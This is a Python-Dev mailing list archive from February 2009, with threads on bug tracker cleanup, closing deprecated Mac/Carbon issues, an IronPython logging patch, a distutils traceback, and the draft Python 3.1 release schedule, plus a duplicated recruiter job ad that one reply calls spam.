From martin at v.loewis.de  Tue Feb 17 09:15:26 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 17 Feb 2009 09:15:26 +0100
Subject: [Python-Dev] Tracker cleanup roadmap
In-Reply-To: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>
References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>
Message-ID: <499A721E.4060007@v.loewis.de>

> Let's improve the tracker UI to better fit our needs. Then, classify
> them bugs and separate garbage from real development. Lastly, bug
> reporters should get a better UI. That's it,  any help is welcome.

The plan sounds great. I can help with the deployment aspects (reviewing
tracker patches, and deploying them on the tracker site), but not much
beyond that (except for discussions, of course). Don't expect too much
help from other people - I have been waiting for volunteers to show up
helping with the tracker for more than a year now.

I suggest you prioritize things by "bang for the buck" (is that the
right saying?), starting with changes that take least effort
to implement. Discussions should be carried out on the tracker-discuss
list, and, of course, in the meta-tracker.

Good luck,
Martin

From fuzzyman at voidspace.org.uk  Tue Feb 17 09:50:55 2009
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Tue, 17 Feb 2009 08:50:55 +0000
Subject: [Python-Dev] Patch logging module for IronPython compatibility
Message-ID: <499A7A6F.8070400@voidspace.org.uk>

Hello all,

Issue 5287 is a patch for the logging module for compatibility with
IronPython. IronPython provides sys._getframe but it throws an exception
if you call it with a non-zero depth. This may be fixed in a future
version of IronPython.

http://bugs.python.org/issue5287

It doesn't at all change the behaviour on other platforms (does an
explicit platform check I'm afraid) but fixes a nasty problem with the
logging module not working at all on IronPython. As this is a bugfix for
IronPython at least and IronPython 2.6 is currently being worked on
(tracking Python 2.6) it would be great to get this into 2.6-maint.

All the best,

Michael

-- 
http://www.ironpythoninaction.com/
http://www.voidspace.org.uk/blog




From victor.stinner at haypocalc.com  Tue Feb 17 10:00:30 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 17 Feb 2009 10:00:30 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
Message-ID: <200902171000.30304.victor.stinner@haypocalc.com>

Le Tuesday 17 February 2009 08:52:20 Lennart Regebro, vous avez ?crit?:
> On Tue, Feb 17, 2009 at 00:50, Guido van Rossum <guido at python.org> wrote:
> > Can you explain the difficulty with porting setuptools in more detail?
>
> Oh, it just exposes a bug in distutils. It probably means I'll have to
> make a test for python version, and if it is 3.0.1, monkey-patch
> distutils. I haven't really looked into if there is any other
> possibilities yet, I'm concentrating to make it run for 3.1 trunk
> first.

That's funny, because the failing code does compare versions :-)

...
  File "c:\Python30\lib\distutils\cygwinccompiler.py", line 314, in __init__
    if self.gcc_version <= "2.91.57":
  File "c:\Python30\lib\distutils\version.py", line 64, in __le__
    c = self._cmp(other)
  File "c:\Python30\lib\distutils\version.py", line 341, in _cmp
    return cmp(self.version, other.version)
NameError: global name 'cmp' is not defined

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From fuzzyman at voidspace.org.uk  Tue Feb 17 11:31:26 2009
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Tue, 17 Feb 2009 10:31:26 +0000
Subject: [Python-Dev] Patch logging module for IronPython compatibility
In-Reply-To: <499A7A6F.8070400@voidspace.org.uk>
References: <499A7A6F.8070400@voidspace.org.uk>
Message-ID: <499A91FE.3070707@voidspace.org.uk>

Michael Foord wrote:
> Hello all,
>
> Issue 5287 is a patch for the logging module for compatibility with
> IronPython. IronPython provides sys._getframe but it throws an exception
> if you call it with a non-zero depth. This may be fixed in a future
> version of IronPython.
>
> http://bugs.python.org/issue5287
>
> It doesn't at all change the behaviour on other platforms (does an
> explicit platform check I'm afraid) but fixes a nasty problem with the
> logging module not working at all on IronPython. As this is a bugfix for
> IronPython at least and IronPython 2.6 is currently being worked on
> (tracking Python 2.6) it would be great to get this into 2.6-maint.

I've submitted an alternative patch that catches the error _getframe 
raises on IronPython. As it is possible that _getframe will work on 
IronPython in the future (although it is likely to be enabled by a 
switch as tracking Python frames has a performance cost) this is a 
slightly more future proof solution.

Michael
>
> All the best,
>
> Michael
>


-- 
http://www.ironpythoninaction.com/
http://www.voidspace.org.uk/blog



From pedronis at openend.se  Tue Feb 17 12:25:42 2009
From: pedronis at openend.se (Samuele Pedroni)
Date: Tue, 17 Feb 2009 12:25:42 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <200902171000.30304.victor.stinner@haypocalc.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
	<200902171000.30304.victor.stinner@haypocalc.com>
Message-ID: <499A9EB6.3020802@openend.se>

Victor Stinner wrote:
> Le Tuesday 17 February 2009 08:52:20 Lennart Regebro, vous avez ?crit :
>   
>> On Tue, Feb 17, 2009 at 00:50, Guido van Rossum <guido at python.org> wrote:
>>     
>>> Can you explain the difficulty with porting setuptools in more detail?
>>>       
>> Oh, it just exposes a bug in distutils. It probably means I'll have to
>> make a test for python version, and if it is 3.0.1, monkey-patch
>> distutils. I haven't really looked into if there is any other
>> possibilities yet, I'm concentrating to make it run for 3.1 trunk
>> first.
>>     
>
>   
Didn't a test fail because of this? seems the underlying issue is that 
this part of the stdlib didn't have enough test coverage. It seems that 
having very good/improving test coverage like is recommended  for 
3rd-party project wanting to switch would be a good goal for 3.0 
evolution too. We know from PyPy experience that while always improving 
the test suite coverage is quite spotty at times.


From lie.1296 at gmail.com  Tue Feb 17 13:05:29 2009
From: lie.1296 at gmail.com (Lie Ryan)
Date: Tue, 17 Feb 2009 12:05:29 +0000 (UTC)
Subject: [Python-Dev] Wow!
References: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
	<bbaeab100902131745r79c88f74n355ca41836fc7ab9@mail.gmail.com>
	<4996291C.5070905@canterbury.ac.nz>
	<cc7430500902161152t447b390eyb3d4157148b439b3@mail.gmail.com>
	<4999E2F3.1010409@canterbury.ac.nz>
Message-ID: <gne969$o7r$1@ger.gmane.org>

On Tue, 17 Feb 2009 11:04:35 +1300, Greg Ewing wrote:

> Leif Walsh wrote:
> 
>> If only we had a second Earth to mess with, we could just copy and
>> swap.
> 
> Or we could use a generational approach, doing all our messy stuff
> around the moon and copying to earth when we've got our traffic control
> issues sorted out.

Oh great, people not only trashed on the ground, but also the space. Have 
you never seen the garbage bin sign?

Wait a minute... the standard lib must have something about this...
import walle


From ronaldoussoren at mac.com  Tue Feb 17 13:39:02 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Tue, 17 Feb 2009 13:39:02 +0100
Subject: [Python-Dev] Closing outdated Mac issues
In-Reply-To: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
Message-ID: <C56E7382-BAF7-4B0A-989A-BDFFC748666A@mac.com>


On 15 Feb, 2009, at 21:13, Daniel (ajax) Diniz wrote:

> Hi,
>
> In the discussion of a feature request for MacPython[1], the OP  
> (hhas) said:
>
>    As of Python 2.6/3.0, all Mac-specific modules are deprecated/ 
> eliminated
>    from the standard library and there are no longer any plans to  
> submit
>    appscript for possible inclusion. This issue should be rejected and
>    closed.
>
> If that is the current state of Mac modules, there are no less than 17
> issues* that should be closed, 4 bug reports** that might be kept open
> and 4 mixed-cases*** that might be obsolete/irrelevant.
>
> Besides amounting to 1% of open issues, these can divert efforts to
> bogus issues: I've submitted a patch for one of the mixed-cases (bug +
> feature request), but now don't think it was worth it.
>
> So, if someone could reassure / clarify the rules for closing these in
> general and/or take a quick look at specific issues, that would be a
> great help.

The Carbon bindings in 2.6 are deprecated and I don't intend to work  
on fixing them, and would advise against trying to fix issues with  
these modules unless you're personally affected by them.

>
>
> Issue lists below.
>
> Regards,
> Daniel
>
> [1] http://bugs.python.org/issue916013

Should have been closed ages ago.

>
>
> * Feature requests and implementation polishing issues:
>
> http://bugs.python.org/issue706585 Expose FinderInfo in FSCatalogInfo

Closed as won't fix.

>
> http://bugs.python.org/issue706592 Carbon.File.FSSpec should accept
> non-existing pathnames

Closed as won't fix.
>
>
> http://bugs.python.org/issue776533 Carbon.Snd module SPB constructor  
> shadowed

Closed as fixed (after reapplying the patch on the trunk)

>
>
> http://bugs.python.org/issue779285 Carbon Event ReceiveNextEvent

Left this open for now, I have to have a better look at the actual  
code to check if it is worthwhile to keep this issue open.
>
>
> http://bugs.python.org/issue806149 aetools.TalkTo methods can be  
> obscured

Closed as won't fix
>
>
> http://bugs.python.org/issue822005 Carbon.CarbonEvt.ReceiveNextEvent  
> args wrong

Left this open for now, seems to be related to issue779285.
>
>
> http://bugs.python.org/issue852150 Can't send Apple Events without
> WindowServer connection

Closed as won't fix.
>
>
> http://bugs.python.org/issue853656 Carbon.CF.CFURLRef should be  
> easier to create

Closed as won't fix.

>
>
> http://bugs.python.org/issue869649 Quicktime missing funcitonality

Closed as won't fix, even the C-level API is deprecated.
>
>
> http://bugs.python.org/issue878560 Add a console window for Carbon
> MacPython applets

Closed as won't fix.

[... Skip other issues ... : I'll have a look at these later on ]


> ** Probably out of  date, irrelevant or both:
>
> http://bugs.python.org/issue779153 bgen requires Universal Headers,
> not OS X dev headers

Should be closed, I'm not planning on recreating the Carbon bindings.

>
>
> http://bugs.python.org/issue602291 Bgen should learn about booleans

This one is not related to OSX, appearently at least some people  
actually use Bgen for creating wrapper code.

>
>
> http://bugs.python.org/issue775321 plistlib error handling
>
> http://bugs.python.org/issue985064 plistlib crashes too easily on  
> bad files

Plistlib is in the generic standard library in 2.6 and 3.0. I haven't  
checked yet if these issues are relevant at this point in time.

Ronald
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/ronaldoussoren%40mac.com

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090217/9ce62e19/attachment.bin>

From gregor.lingl at aon.at  Tue Feb 17 14:55:33 2009
From: gregor.lingl at aon.at (Gregor Lingl)
Date: Tue, 17 Feb 2009 14:55:33 +0100
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
	<1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
Message-ID: <499AC1D5.1030607@aon.at>



Benjamin Peterson schrieb:
> On Sun, Feb 15, 2009 at 10:59 AM, Guido van Rossum <guido at python.org> wrote...
>   
....
> Something like this?
>
> 3.1a1 March 7
> 3.1a2 April 4
> 3.1b1 May 2
> 3.1rc1 May 30
> 3.1rc2 June 13
> 3.1 Final June 27
>
> That sounds reasonable. I will try to enforce a fairly strict
> stability policy during the beta and RCs.
>   
....
> I've started a list on the release PEP [1].
>
> [1] http://www.python.org/dev/peps/pep-0375/
>   
Is the intention to release 2.7 and 3.1 in parallel?

I suspect, comparing this to

http://www.python.org/dev/peps/pep-0373/

that there is some name mangling in pep-0375?

Regards,
Gregor

From benjamin at python.org  Tue Feb 17 15:20:10 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Tue, 17 Feb 2009 08:20:10 -0600
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <499A9EB6.3020802@openend.se>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
	<200902171000.30304.victor.stinner@haypocalc.com>
	<499A9EB6.3020802@openend.se>
Message-ID: <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>

On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni <pedronis at openend.se> wrote:
> Didn't a test fail because of this? seems the underlying issue is that this
> part of the stdlib didn't have enough test coverage. It seems that having
> very good/improving test coverage like is recommended  for 3rd-party project
> wanting to switch would be a good goal for 3.0 evolution too. We know from
> PyPy experience that while always improving the test suite coverage is quite
> spotty at times.

No, a test didn't fail. Our new distutils maintainer, Tarek Ziade,
though, has been increasing the distutils test coverage greatly.



-- 
Regards,
Benjamin

From david.russell at fdmgroup.com  Tue Feb 17 15:24:25 2009
From: david.russell at fdmgroup.com (David Russell)
Date: Tue, 17 Feb 2009 14:24:25 -0000
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
Message-ID: <E5420629A0DEB64291F2973D3D3D5FFC9DC845@fdm-mail02.fdmgroup.local>

Dear Python Group,

 

First of all sorry for the unsolicited email,

 

I have attached two very interesting long term Python projects in the
Frankfurt area, Financial industry.

 

I am working exclusively with the client on both requirements,
interviews and contracts can be arranged very quickly.

 

You will be involved in a project to develop the next generation of
financial trading systems, this will be the biggest, fastest trading
system of its kind in the world and will be used on a global scale.

 

Financial experience is not a must, they are looking more for technical
skills here.

 

If the projects look interesting to you please feel free to contact me
on the contact details below.

 

Thank you for your help,

 

Best Regards

 

David

 

Large Financial Institution - Frankfurt

 

Senior Python C/C++ Developer  (f/m)

 

Tasks/Responsibilities

Software developer for a complex electronic trading system.

The software developer will work in the implementation team of the
trading

system; tasks include:

        - Requirements Analysis

        - Development of a Scripting framework based on Python

        - Specification

        - Implementation

Target platform will be Linux.

 

Qualifications/Required Skills (Mandatory)

Rock Solid Python and C/C++ knowledge

Integration of Python with C/C++ libraries

Automated Testing

Good overview and knowledge of open source software

Experience of software development in large projects

Good communications skills

Ability to work in project teams

A good command of English is a must.

 

Additional Domain & Business Skills

Knowledge of derivatives trading an advantage, in particular U.S.
options.

 

Additional Information:

Frankfurt am Main, Germany

Start ASAP for a minimum of 6 months

Rate - Negotiable

 

This is an urgent requirement please contact me or send me your cv as
soon as possible.

 

Contact: David Russell - Account manager

email: david.russell at fdmgroup.com

Tel: +49 (0) 69 756 0050

Web: www.fdmgroup.com

 

 

////////////////////////////////////////////////////////////////////////
///

 

Large Financial Institution - Frankfurt am Main

 

Performance / High Availability Test Automation Engineer (f/m)

 

Tasks/Responsibilities

Developer of automated test procedures for a high-performance electronic
trading system.

The engineer will work in the Performance and Technical Test team of the
project; tasks include:

        - Requirements Analysis

        - Development of distributed transaction feed procedures, mostly
in Python

        - Implementation of automated result analysis

        - Design and implementation of test procedures for
failover/recovery scenarios in a multi-tier environment

        - Supervision of regular runs of the automated performance test
suite.

Target platform will be Linux.

 

Qualifications/Required Skills

Python scripting

Deep (>3 years) knowledge of Linux, with a focus in the areas

  - Performance monitoring and tuning

  - Messaging architectures

Performance testing experience, for latency and throughput, incl. data
aggregation and reporting Good communications skills Experience of
software development in large projects Good overview and knowledge of
open source software Ability to work in an international project team.

 

A good command of English is a must.

 

Additional Domain & Business Skills

Knowledge of statistical data analysis methods would be an advantage.

Experience in mechanisms of interfacing C/C++ and Python would also be
advantageous.

Frankfurt am Main, Germany

Start ASAP to 31.12.09 with good extension prospects for 2010

Rate - Negotiable

 

This is an urgent requirement please contact me or send me your cv as
soon as possible.

 

Contact: David Russell - Account manager

email: david.russell at fdmgroup.com

Tel: +49 (0) 69 756 0050

Web: www.fdmgroup.com

 

 

 

David Russell

Account Manager

 

FDM Group

 


 

 

Beethoven Strasse 4,

60325 Frankfurt am Main

Germany

david.russell at fdmgroup.com <mailto:kasia at fdmgroup.com> 

 

Tel:  + 49 (0) 69 756 0050

Cell: + 49 (0) 173 3592288

Fax: + 49 (0) 69 756 00555

 

www.fdmgroup.com <http://www.fdmgroup.com/>   www.fdmacademy.com
<http://www.fdmacademy.com/>  

BRIGHTON, LONDON, MANCHESTER, LUXEMBOURG, FRANKFURT, ZURICH & NEW YORK

 

 

 


This message is from FDM Group Plc, and may contain information that is confidential or privileged.  If you are not the intended recipient, please delete the message and any attachments and notify the sender.  This email is not intended to create legally binding commitments on behalf of FDM Group Plc, nor do its contents reflect the corporate views or policies of FDM.  Any unauthorised disclosure, use or dissemination, either whole or partial, is prohibited. FDM Group Plc is a private limited company registered in England (Reg. No. 2542980).


________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090217/ece5033e/attachment-0001.htm>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: image/jpeg
Size: 3278 bytes
Desc: image001.jpg
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090217/ece5033e/attachment-0001.jpeg>

From benjamin at python.org  Tue Feb 17 15:28:35 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Tue, 17 Feb 2009 08:28:35 -0600
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <499AC1D5.1030607@aon.at>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>
	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
	<1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
	<499AC1D5.1030607@aon.at>
Message-ID: <1afaf6160902170628t4d763793we955c35cb7bd3e2f@mail.gmail.com>

On Tue, Feb 17, 2009 at 7:55 AM, Gregor Lingl <gregor.lingl at aon.at> wrote:
>>
>> I've started a list on the release PEP [1].
>>
>> [1] http://www.python.org/dev/peps/pep-0375/
>>
>
> Is the intention to release 2.7 and 3.1 in parallel?

No.

>
> I suspect, comparing this to
>
> http://www.python.org/dev/peps/pep-0373/
>
> that there is some name mangling in pep-0375?

It seems I left "2.7" in the prose a few times. I've fixed that now.



-- 
Regards,
Benjamin

From barry at python.org  Tue Feb 17 15:30:04 2009
From: barry at python.org (Barry Warsaw)
Date: Tue, 17 Feb 2009 09:30:04 -0500
Subject: [Python-Dev] draft 3.1 release schedule
In-Reply-To: <499AC1D5.1030607@aon.at>
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
	<1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
	<499AC1D5.1030607@aon.at>
Message-ID: <01058648-E1EE-4BC4-82B0-C1611D949AE4@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 17, 2009, at 8:55 AM, Gregor Lingl wrote:

> Is the intention to release 2.7 and 3.1 in parallel?

I don't think we should this time.  We want to get 3.1 out sooner than  
the typical 18 month development cycle, and I think we should  
concentrate on making that a great release without worrying about also  
trying to get 2.7 out.

:Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZrJ7HEjvBPtnXfVAQJEKAP/fQ/SWqCNYmPQreBdN4Y7BKC4+K0f9Kk6
7DuVEyjd/BI9luqLxeGgZFdm9cwBXNkrSQ0Vw9wGx5rjGWRxPhAzWPh3tSEUQzFb
wpQCqGkwktb7dxub4f+aeYBWJ802jrapfDXY48iRuGopCstm4IevjkZCesnMwrf7
fpOX6VDx5IQ=
=y5N7
-----END PGP SIGNATURE-----

From david.russell at fdmgroup.com  Tue Feb 17 14:59:14 2009
From: david.russell at fdmgroup.com (David Russell)
Date: Tue, 17 Feb 2009 13:59:14 -0000
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
Message-ID: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>

Dear Python Development Group,

 

First of all sorry for the unsolicited email,

 

I have attached two very interesting long term Python projects in the
Frankfurt area, Financial industry.

 

I am working exclusively with the client on both requirements,
interviews and contracts can be arranged very quickly.

 

You will be involved in a project to develop the next generation of
financial trading systems, this will be the biggest, fastest trading
system of its kind in the world and will be used on a global scale.

 

Financial experience is not a must, they are looking more for technical
skills here.

 

If the projects look interesting to you please feel free to contact me
on the contact details below.

 

Thank you for your help,

 

Best Regards

 

David

 

Large Financial Institution - Frankfurt

 

Senior Python C/C++ Developer  (f/m)

 

Tasks/Responsibilities

Software developer for a complex electronic trading system.

The software developer will work in the implementation team of the
trading

system; tasks include:

        - Requirements Analysis

        - Development of a Scripting framework based on Python

        - Specification

        - Implementation

Target platform will be Linux.

 

Qualifications/Required Skills (Mandatory)

Rock Solid Python and C/C++ knowledge

Integration of Python with C/C++ libraries

Automated Testing

Good overview and knowledge of open source software

Experience of software development in large projects

Good communications skills

Ability to work in project teams

A good command of English is a must.

 

Additional Domain & Business Skills

Knowledge of derivatives trading an advantage, in particular U.S.
options.

 

Additional Information:

Frankfurt am Main, Germany

Start ASAP for a minimum of 6 months

Rate - Negotiable

 

This is an urgent requirement please contact me or send me your cv as
soon as possible.

 

Contact: David Russell - Account manager

email: david.russell at fdmgroup.com

Tel: +49 (0) 69 756 0050

Web: www.fdmgroup.com

 

 

////////////////////////////////////////////////////////////////////////
///

 

Large Financial Institution - Frankfurt am Main

 

Performance / High Availability Test Automation Engineer (f/m)

 

Tasks/Responsibilities

Developer of automated test procedures for a high-performance electronic
trading system.

The engineer will work in the Performance and Technical Test team of the
project; tasks include:

        - Requirements Analysis

        - Development of distributed transaction feed procedures, mostly
in Python

        - Implementation of automated result analysis

        - Design and implementation of test procedures for
failover/recovery scenarios in a multi-tier environment

        - Supervision of regular runs of the automated performance test
suite.

Target platform will be Linux.

 

Qualifications/Required Skills

Python scripting

Deep (>3 years) knowledge of Linux, with a focus in the areas

  - Performance monitoring and tuning

  - Messaging architectures

Performance testing experience, for latency and throughput, incl. data
aggregation and reporting Good communications skills Experience of
software development in large projects Good overview and knowledge of
open source software Ability to work in an international project team.

 

A good command of English is a must.

 

Additional Domain & Business Skills

Knowledge of statistical data analysis methods would be an advantage.

Experience in mechanisms of interfacing C/C++ and Python would also be
advantageous.

Frankfurt am Main, Germany

Start ASAP to 31.12.09 with good extension prospects for 2010

Rate - Negotiable

 

This is an urgent requirement please contact me or send me your cv as
soon as possible.

 

Contact: David Russell - Account manager

email: david.russell at fdmgroup.com

Tel: +49 (0) 69 756 0050

Web: www.fdmgroup.com

 

 

 

David Russell

Account Manager

 

FDM Group

 


 

 

Beethoven Strasse 4,

60325 Frankfurt am Main

Germany

david.russell at fdmgroup.com <mailto:kasia at fdmgroup.com> 

 

Tel:  + 49 (0) 69 756 0050

Cell: + 49 (0) 173 3592288

Fax: + 49 (0) 69 756 00555

 

www.fdmgroup.com <http://www.fdmgroup.com/>   www.fdmacademy.com
<http://www.fdmacademy.com/>  

BRIGHTON, LONDON, MANCHESTER, LUXEMBOURG, FRANKFURT, ZURICH & NEW YORK

 

 

 


This message is from FDM Group Plc, and may contain information that is confidential or privileged.  If you are not the intended recipient, please delete the message and any attachments and notify the sender.  This email is not intended to create legally binding commitments on behalf of FDM Group Plc, nor do its contents reflect the corporate views or policies of FDM.  Any unauthorised disclosure, use or dissemination, either whole or partial, is prohibited. FDM Group Plc is a private limited company registered in England (Reg. No. 2542980).


________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090217/f538d437/attachment-0001.htm>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: image/jpeg
Size: 3278 bytes
Desc: image001.jpg
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090217/f538d437/attachment-0001.jpeg>

From ajaksu at gmail.com  Tue Feb 17 16:26:18 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 17 Feb 2009 12:26:18 -0300
Subject: [Python-Dev] Tracker cleanup report
In-Reply-To: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>
References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
	<79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>
Message-ID: <2d75d7660902170726o41853034t33611bc75efbea1e@mail.gmail.com>

Paul Moore wrote:
> 2009/2/16 Daniel (ajax) Diniz <ajaksu at gmail.com>:
>> Hi,
>> Here's a summary of what's been accomplished and what's almost done.
>> This kinda marks the end of this Bug Season for me, but I'd like to do
>> at least one more installment before PyCon.
>
> Can I, for one, offer a *huge* round of applause for what you've
> achieved. It's great to see the tracker getting some serious
> attention.

Thank you, but I can only take a small part of the kudos. It's been a
collective work, involving from the BDFL to issue reporters. Also,
lots of people have been taking care of the tracker.

Notably, Christian Heimes has done a lot of cleanup and updating in
early 2008, Facundo did the same earlier (2005, IIRC) and Benjamin
went through a lot of tickets during the 2.6/3.0 release cycle.

Martin, Benjamin, Victor and Hirokazu have spent a lot of time tidying
things up lately, and some nice fellows like Antoine, Mark, Nick
Coghlan, Amaury, and most cited above are constantly reviewing tickets
and offering feedback. Some people help fighting spam (e.g. Skip,
IIRC). Brett is hors concours regarding time spent for any
Python-related effort, so I won't mention him :D

There's also those recently organizing tickets in their area of
interest: Tarek is on top of distutils issues with lots of help from
Akira Kitada, Georg even has auto-assignment for doc issues, Jesse
Noller with multiprocessing, etc. Of course, this has always happened
to some degree, so lots of people have done that in the past, then
reduced their level of tracker-handling activity, are now back and
helping with lots of issues, e.g. Jack Jansen and Ronald Oussoren.

These are all from the top of my head, from diving into hundreds of
reports and following the tracker activity. Lots of other people I
fail to mention have taken the task of dealing with tickets for
themselves.

So kudos to everyone that invest time handling bugs, feature requests,
janitorial tasks and the eventual PEBKAC.

Thanks for the support!
Cheers,
Daniel

From ajaksu at gmail.com  Tue Feb 17 16:32:16 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 17 Feb 2009 12:32:16 -0300
Subject: [Python-Dev] Closing outdated Mac issues
In-Reply-To: <nad-20197E.20091415022009@news.gmane.org>
References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
	<bbaeab100902151243m44eec4eex35417cbcc56bef2a@mail.gmail.com>
	<2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com>
	<2d75d7660902151517p22440361u76f686dc2f0e1e4e@mail.gmail.com>
	<nad-20197E.20091415022009@news.gmane.org>
Message-ID: <2d75d7660902170732i231aa719q1a7896401191e274@mail.gmail.com>

Hi Ned,

Ned Deily wrote:
> Other than Mac/Modules, the rest of the Mac/ directory is mainly stuff
> used for building or going into the OS X installer images, including
> things like IDLE.app.  These are used in 2.x and in 3.x.

Thanks, knowing that makes the ticket handling easier!

>> There are 40 C files, two headers and 69 python files in /Mac in
>> trunk. The 2.6 (and 2.5.x) docs say development has stopped and that
>> they'd be replaced in 2.5. So ISTM closing RFEs for these modules
>> would be an improvement.
>>
>> > Honestly, fixing them is fine but since the modules are deprecated but
>> > still in existence in 2.x, but they are definitely nothing above a
>> > normal priority issue.
>> OK, I'll let the bug reports open. What about RFEs?
>
> I think the reasonable thing to do is close them as "not to be
> fixed/implemented".  At this point, the chances that someone would fix
> them are pretty slim and, in many cases, I'm sure the module is either
> obsolete because other, and better supported, solutions are now
> available, like PyObjC or appscript.  If people feel strongly about an
> issue, they can always ask to re-open it.

OK, Ronald is helping sort them and I'll clean whatever is left based
on your combined feedback.

> Taking a quick look at your list, the only ones that may be worth
> looking at are the plistlib ones since it lives on in 3.x.  I think all
> the rest are deprecated and gone in 3.x.

OK, plistlib is a keeper in my list now.

Thanks a lot for the feedback (and for helping with the Mac installers!)  :)

Regards,
Daniel

From aahz at pythoncraft.com  Tue Feb 17 16:39:20 2009
From: aahz at pythoncraft.com (Aahz)
Date: Tue, 17 Feb 2009 07:39:20 -0800
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
In-Reply-To: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>
References: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>
Message-ID: <20090217153920.GA23769@panix.com>

On Tue, Feb 17, 2009, David Russell wrote:
>
> Dear Python Development Group,
> 
> First of all sorry for the unsolicited email,

This is spam, and you have now jeopardized your correct posting to the
Python Job Board.  The other website administrators will be informed and
we will discuss whether spamming python-dev warrants withdrawing it.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From ajaksu at gmail.com  Tue Feb 17 16:49:11 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 17 Feb 2009 12:49:11 -0300
Subject: [Python-Dev] Closing outdated Mac issues
In-Reply-To: <C56E7382-BAF7-4B0A-989A-BDFFC748666A@mac.com>
References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com>
	<C56E7382-BAF7-4B0A-989A-BDFFC748666A@mac.com>
Message-ID: <2d75d7660902170749y7eafa0eayfd8b3920a041edd0@mail.gmail.com>

Hi, Ronald,

Ronald Oussoren wrote:
>
